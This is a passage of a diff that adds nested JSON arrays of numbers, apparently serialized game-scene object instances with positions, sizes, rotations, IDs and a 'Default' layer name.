+ 812.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 248,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4243.5439453125,
+ 717.5261840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 249,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4243.5439453125,
+ 812.5261840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 250,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4335.26806640625,
+ 717.5261840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 255,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4335.26806640625,
+ 812.5261840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 256,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4427.6494140625,
+ 717.5261840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 257,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4427.6494140625,
+ 812.5261840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 258,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4519.3740234375,
+ 717.5261840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 259,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4519.3740234375,
+ 812.5261840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 260,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4610.89208984375,
+ 716.9576416015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 264,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4610.89208984375,
+ 811.9576416015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 265,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4703.2734375,
+ 716.9576416015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 271,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4703.2734375,
+ 811.9576416015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 272,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4921.09716796875,
+ 662.5270385742188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 273,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4921.09716796875,
+ 757.5270385742188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 274,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5013.478515625,
+ 662.5270385742188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 276,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5013.478515625,
+ 757.5270385742188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 278,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5105.203125,
+ 662.5270385742188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 279,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5105.203125,
+ 757.5270385742188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 280,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5196.72119140625,
+ 661.95849609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 281,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5196.72119140625,
+ 756.95849609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 282,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5289.1025390625,
+ 661.95849609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 283,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5289.1025390625,
+ 756.95849609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1145,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 143,
+ 715,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 221,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 524,
+ 715,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 21,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 903,
+ 715,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 22,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1296,
+ 1167,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 108,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2044,
+ 715,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 344,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2425,
+ 715,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 494,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2804,
+ 715,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 501,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3182,
+ 715,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4640,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3563,
+ 715,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4641,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3942,
+ 715,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4642,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4321.99267578125,
+ 714.8955688476562,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4643,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4699.99267578125,
+ 714.8955688476562,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4644,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5080.99267578125,
+ 714.8955688476562,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4645,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5459.99267578125,
+ 714.8955688476562,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4646,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1284,
+ 715,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 107,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1664,
+ 715,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 176,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2746,
+ 1193,
+ 0,
+ 5441,
+ 687,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 4655,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321,
+ 468,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 222,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2767,
+ 328,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 581,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1473,
+ 468,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4656,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2766,
+ 210,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4658,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3312,
+ 426,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4659,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3503,
+ 636,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4660,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4022,
+ 635,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4661,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4772,
+ 443,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4662,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 381,
+ 841,
+ 0,
+ 987,
+ 377,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 88,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1396,
+ 735.4978637695312,
+ 0,
+ 549,
+ 378.0042724609375,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5677,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2000,
+ 880.9739990234375,
+ 0,
+ 183,
+ 377.052001953125,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5678,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2366,
+ 882.2303466796875,
+ 0,
+ 183,
+ 376.5393676757813,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5679,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2808,
+ 771.2285766601562,
+ 0,
+ 183,
+ 376.5428466796875,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5680,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3082.45556640625,
+ 583.5,
+ 0,
+ 364,
+ 376,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5681,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3301.9072265625,
+ 675.0921020507812,
+ 0,
+ 110.27294921875,
+ 375,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5682,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3394.551025390625,
+ 770.6384887695312,
+ 0,
+ 110.27294921875,
+ 375,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5683,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3519.09814453125,
+ 866.093017578125,
+ 0,
+ 230.265869140625,
+ 375,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5684,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4289.5537109375,
+ 864.184814453125,
+ 0,
+ 920,
+ 377,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5685,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5105.9208984375,
+ 809.42919921875,
+ 0,
+ 460,
+ 379.0535278320313,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5686,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2864.59228515625,
+ 691.112060546875,
+ 0,
+ 94.343994140625,
+ 375,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5687,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2595.83251953125,
+ 683.031982421875,
+ 0,
+ 94.343994140625,
+ 308.1423950195313,
+ 0,
+ 1.178097248077393,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5688,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1777.642578125,
+ 667.1709594726562,
+ 0,
+ 94.343994140625,
+ 308.1423950195313,
+ 0,
+ 2.1118483543396,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5689,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 999.3885498046875,
+ 648.2816162109375,
+ 0,
+ 94.343994140625,
+ 308.5961608886719,
+ 0,
+ -1.972222328186035,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5690,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 422,
+ -651,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 5693,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4752.783203125,
+ 721.0907592773438,
+ 0,
+ 94.343994140625,
+ 308.1423950195313,
+ 0,
+ 1.178097248077393,
+ 0.6000000238418579,
+ 0.5,
